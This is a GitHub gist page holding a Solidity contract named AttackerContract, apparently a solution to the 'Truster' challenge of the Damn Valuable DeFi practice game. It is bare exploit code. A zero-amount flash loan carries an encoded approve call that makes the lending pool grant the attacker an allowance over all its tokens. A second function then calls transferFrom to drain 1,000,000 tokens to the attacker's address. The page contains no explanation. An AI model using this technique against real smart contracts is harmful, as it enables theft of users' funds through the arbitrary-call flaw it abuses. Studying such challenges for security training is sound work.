Skip to content

Instantly share code, notes, and snippets.

@rvrsh3ll
Forked from zaryab2000/AttackContract.sol
Created August 21, 2021 03:42
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save rvrsh3ll/138c778610654981614e591f3ae0db5b to your computer and use it in GitHub Desktop.
Save rvrsh3ll/138c778610654981614e591f3ae0db5b to your computer and use it in GitHub Desktop.
pragma solidity ^0.6.0;
import "./TrusterLenderPool.sol";
contract AttackerContract{
uint256 public totalTokens = 1000000 ether;
address public attackerAddress;
// DamnValuableToken public dvTokenContract;
address public dvTokenContract;
TrusterLenderPool public poolContract;
constructor(address _poolAddress,address _tokenAddress) public{
attackerAddress = msg.sender;
poolContract = TrusterLenderPool(_poolAddress);
dvTokenContract = _tokenAddress;
}
function setUpAttack() public{
bytes memory approvePayload = abi.encodeWithSignature("approve(address,uint256)",address(this),totalTokens);
bytes memory flashLoanPayload = abi.encodeWithSignature(
"flashLoan(uint256,address,address,bytes)",
0,attackerAddress,dvTokenContract,approvePayload);
(bool success, ) = address(poolContract).call(flashLoanPayload);
require (success,"Set Up Failed");
}
function executeAttack() public{
bytes memory transferPayload = abi.encodeWithSignature("transferFrom(address,address,uint256)",address(poolContract),attackerAddress,totalTokens);
(bool success, ) = dvTokenContract.call(transferPayload);
require (success,"Attackss Failed");
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment